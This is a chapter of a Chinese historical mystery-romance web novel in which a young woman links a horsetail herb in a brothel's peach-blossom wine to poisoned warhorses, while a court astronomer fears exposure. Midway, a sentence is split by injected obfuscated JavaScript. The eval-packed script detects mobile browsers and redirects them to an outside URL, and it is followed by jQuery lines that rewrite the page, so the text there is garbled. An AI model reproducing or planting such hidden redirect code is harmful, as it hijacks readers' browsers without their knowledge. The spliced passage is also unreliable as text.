“世间之事本就玄妙,一两桩偶然撞在一处,算不上稀奇,便是三件巧合前后接踵,也还能归于机缘凑巧。
可若是一桩桩看似无关的偶遇,接二连三叠在一处,那便再也不能视作无心之失了。”
“大人,我觉得此事有诈,断断不只是战马误食草药这样简单,请大人严查。”
许庐缓缓垂眼,打量着立在身前的云氏。自他与这女子相识以来,她素来是明哲保身的性子。
可今日,她竟一反常态,竟主动开口恳请他彻查此案。
许庐收回目光,缓缓开口,
“你倒是心思细腻,能察觉其中异样。”
“既然你执意要本官严查,便给我一个足够信服的理由。战马本就是边境常备军需,营中向来储备充足,此次虽有战马离奇暴毙,死因蹊跷,可终究不过死伤数十匹,于大局而言,实在算不上什么值得大动干戈的要事。”
仅凭一缕相似的问荆草气息,便要让面前身居高位,行事严谨的高官彻查此事,实在太过牵强。
许庐见少女垂眸不语,便不再多问,只轻轻抬了抬手,示意身旁的折戟将云氏好生护送回院落。
他收回目光,正欲转身离去处理公务。
忽觉袖子仿佛被何人拉住,骤然一沉,因而他回眸看去,便直直撞进少女一双执拗的杏眸之中。
“大人,我想起来了,是桃花醉!是醉红轩的桃花醉!”
她几乎是下意识地往前凑近了半步,急切地想要将这关键线索告知给许庐。
因这豁然开朗的窃喜,少女微微泛红的脸颊骤然贴近,鬓边几缕碎发随着动作轻扬,她身上淡淡的浅香措不及防撞进许庐的鼻息间。
许庐心头莫名掠过一丝异样,像是平静湖面因为有风拂过从而漾开一圈极淡的涟漪。他尚未来得及细辨那情绪究竟是不是讶异,那涟漪便散尽了。
“早日我与谢大人一同前往醉红轩探查,醉红轩的杂役小吏见谢大人是高官,所以为谢大人献上了醉红轩的桃花醉”
霓安语速虽急,却一字一句说得明明白白。
“桃花醉这酒,虽说各处风月楼馆都有酿造,可醉红轩能凭它稳坐勾栏瓦舍之首,因而醉红轩的桃花酿绝非寻常滋味。
它入口前调绵长甜软,桃香清润,可入喉之后尾调不散,偏偏裹着一股极淡却清冽的草药香。当时这股异香混在酒香里,我只觉古怪,一时没能辨出是何物。”
霓安顿了顿,目光亮了几分。
“直到今日在这批草料之中,又闻到那草药的气息,我将草料分门别类后便看到那切断的问荆草残骸,所以这才想起来那味草药是问荆草。”
“这只是民女一时拙见,未必作准,还望大人莫要见笑。”
“但说无妨,只是本官觉得其中尚有几处疑点,始终理不清头绪。”
许庐语气平和,垂眸抬手,骨节分明手指轻轻拨弄着一枚白子,衬得那瓷白棋子温润通透,竟如同一块品相上乘的暖玉一般,触手生温。
“民女也是满心疑惑,醉红轩素来要以问荆草入酒,方能酿出独有的风味,可这问荆草生性喜湿耐寒,中原地界水土不合,压根无处可寻,更别说在市面上随意买卖。
这问荆草唯有西域偏地才有生长,要想让其转入长安必得经官府勘验。若是私下偷运,便是触犯律法,一旦事发,轻则罚没家产,重则身陷囹圄。
可这般冒着偌大风险偷运入关的问荆草,按理来说应该偷运入城,可这时竟用其毒杀了十来匹战马,虽说并未伤及将官,也未搅扰军机大事,可着实暴露了问荆草偷运的踪迹。如此得不偿失的行径,实在叫人摸不透。”
许庐若有所思,随即在纵横交错的十字棋盘上稳稳落下一子。
落子之声清脆悦耳,那批最先锋芒毕露的黑子,此刻孤零零悬在一侧,分明已是枚可随时舍弃的废子。
许庐望着棋局,嘴角勾起一抹浅浅的笑意,缓缓开口,
“或许那位藏在幕后之人,便是想以此事提醒有心之人啊。”
提醒有心之人吗,她对大人物打哑谜之类的说话方法向来费解。
她抬眼望向许庐,许庐嘴角勾起一抹了然的微笑,因而便也识趣地不再多问,乖觉地敛了神色。
她轻轻福身一礼,
“臣女告退了,大人早些歇息。”
霓安本以为对方不会再多言,便准备轻手轻脚退出去。
“你也早些歇息。”
她心里莫名一暖,随即轻轻合上房门,悄声退了出去。
*
“刘大人,不好了!刘大人!”
小吏连滚带爬地撞进殿来,才刚踏进门内,脚下一绊,整个人便重重摔倒在光洁的青砖地上。
刘家世代执掌钦天监,祖上数代精研天象历法,素来深得皇室倚重,在朝中地位尊崇,连府中殿宇的门槛都比寻常门槛高出几分。
平日里府中人进出无不屏息凝神,小心翼翼的跨步。
今日这小吏显然是事出紧急,脚下失了分寸,才结结实实摔了一跤。
殿内身高五尺,身形圆胖的钦天监监正刘子枝正斜倚在铺着锦垫的太师椅上,一身厚实华贵的裘皮大衣裹得严严实实。
身旁美妾举起玉壶为其斟上一瓶温热的佳酿,酒香清冽,令人闻之即醉。
刘子枝本是悠然自得的在闭目养神,骤然听见喧哗,睁眼便见小吏跌倒在殿中,举止失仪。
他素来讲究规矩体面,因而见此狼狈景象,厉声呵斥道,
“放肆!成何体统!”
“大人,冤枉啊!”
小吏顾不上拍身上的土,连滚带爬扑到阶下,“是大理寺的谢齐渊,他把矛头对准咱们监里了!”
刘子枝手中玉杯顿时停在半空。于是便他挥手屏退美妾,
“那谢大人为何会查到我头上来?”
“听说前几日横死的那位五品武官,凶手竟是前日在醉红轩赴宴的座上宾。”
刘子枝松
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484533|201926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了松领口,不以为然,
“人非我所杀,与我何干?”
“大人!”小吏急得额头撞地,声音陡然拔高,“谢齐渊查案如神,最善抽丝剥茧。他若顺着宴席查起,顺藤摸瓜,万一把那件见不得光的事彻底翻出来,咱们满门都要遭殃啊!”
刘子枝脸上的淡然终于绷不住,指尖死死扣住了杯沿。
“若他谢齐渊若是执意查到底,那就休怪我让他有来无回!”
话音未落,他掌心狠狠一拍,玉盏重重砸在桌案上,杯中酒液剧烈震荡,险些泼洒出来。
*
次日清晨,谢齐渊府上便遣了青禾前来传话,说今日不必再外出探查,让霓安暂且歇着,不必过去。
可依霓安执拗又不肯半途而废的性子,哪肯任由事情只做一半便草草作罢。她眼珠一转,对着青禾俏皮地眨了眨眼。
“青禾姊姊,你今日府中还有别的差事吗?”
青禾略一思索,轻声回道,“除了寻常洒扫庭院,并无其他要紧事。”
“那青禾姊姊可有兴趣,随我去一处四季花开、神仙见了都流连忘返的妙地逛逛?”
青禾一听,眼睛顿时亮了,“世间竟还有这般神奇的好去处?”
霓安故作玄虚地眨了眨眼,脸上分明挂着些狡黠的笑意,她转身快步走到屋角那只雕花木制的衣帽箱旁,指尖轻巧地拨开叠放整齐的绸缎衣物,取出一顶素色帷帽,轻轻扣在青禾的头顶,垂落的薄纱恰好将其的面容半遮半掩。
随后她取来脂粉,对着菱花镜细细描画,先是将原本纤细柔婉的罥烟眉刻意描得利落,又在鼻梁与下颌处轻轻打上浅浅的阴影,让本就清秀的五官愈发立体深邃。
做完这一切,她又转身走向内柜,翻出一件用织金绣线绣出祥云纹样的男子衣衫。
接而她退后两步,细细打量着面前的青禾,目光在帷帽下那身素色衣裙上顿了顿,仍是觉得太过素净寡淡。
霓安当即又转身翻箱倒柜,将那几匹御赐料子精心裁制的冬衣一一取了出来,料子厚实纹样庄重。她将几件衣裳都摊开在榻上,笑着朝青禾招手,让她挑一件合心意的换上。
青禾见她这般热情,反倒有些不好意思,脸颊微热地轻轻摆手推辞。
霓安自行挑了一件极有韵味的紫缎衣衫,拉着青禾便要她换上。待青禾穿戴妥当,霓安定睛一看,那紫色衬得她眉目温婉,仿佛是为她量身裁成一般。
眼见一切都收拾妥当,霓安抬手朝着立在院外等候的邹连招了招手。
邹连见状,忙不迭地躬身快步跟了上来,只顾着低头紧随其后,半点不曾留意身后那抹冬日里温婉的紫色身影。
“霓安妹妹,这袍子竟如此长,我怕袍角会沾上雪污,这可如何是好。”
耳畔本是风雪单调的呼啸,此刻却突然多出女子怯生生的提问声。邹连下意识侧身望过去,恰好一阵寒风卷过,掀起那人垂落的素色帷帽薄纱,露出一角素净清雅的小脸,眉眼温软。